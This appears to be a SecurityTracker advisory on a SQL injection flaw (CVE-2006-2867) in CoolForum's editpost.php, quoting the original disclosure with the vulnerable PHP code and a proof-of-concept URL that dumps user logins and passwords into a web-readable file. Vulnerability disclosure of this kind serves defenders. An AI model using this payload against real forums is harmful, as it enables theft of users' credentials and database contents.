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Category:   Application (Forum/Board/Portal)  >   CoolForum Vendors:   coolforum.net
CoolForum Missing Input Validation in 'editpost.php' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1016218
SecurityTracker URL:  http://securitytracker.com/id/1016218
CVE Reference:   CVE-2006-2867   (Links to External Site)
Updated:  May 22 2009
Original Entry Date:  Jun 5 2006
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Exploit Included:  Yes  
Version(s): 0.8.3 beta and prior versions
Description:   A vulnerability was reported in CoolForum. A remote user can inject SQL commands.

The 'editpost.php' script does not properly validate user-supplied input. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

A demonstration exploit URL is provided:

http://[...]/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password FROM cf_user INTO OUTFILE '/www/web/resultat.txt'%23&parent=1&p=1

The original advisory is available at:

http://mgsdl.free.fr/advisories/coolforum083ba.txt

DarkFig reported this vulnerability.

Impact:   A remote user can execute SQL commands on the underlying database.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.coolforum.net/ (Links to External Site)
Cause:   Input validation error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Sat, 03 Jun 2006 09:09:54 +0000
Subject:  Critical SQL Injection in CoolForum

Type: SQL Injection

Risk: Critical

Product: CoolForum <= 0.8.3 beta

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Vulnerability

*************

// File: editpost.php

// Line 38

//

if(isset($_REQUEST['post'])) $post = intval($_REQUEST['post']);

else $post = 0;

--

// Line 77

//

$canedit = getrightedit($_REQUEST['post'],$_REQUEST['forumid']);

--

// File: admin/functions.php

// Line 623

//

function getrightedit($idpost,$forumid)

{

global $_MODORIGHTS, $sql, $_USER, $_FORUMCFG, $_PRE, $_GENERAL, $_PERMFORUM;

$query = $sql->query("SELECT idforum,idmembre,parent FROM ".$_PRE."posts WHERE idpost=".$idpost);

$j = mysql_fetch_array($query);

--



Proof Of Concept

****************

http://[...]/editpost.php?forumid=1&post=3 UNION SELECT userid,login,password FROM cf_user INTO OUTFILE '/www/web/resultat.txt'%23&parent=1&p=1



Credits

*******

Ref : http://mgsdl.free.fr/advisories/coolforum083ba.txt

Note: Others SQL Injection exists but they are difficult to exploit

by DarkFig

 
 


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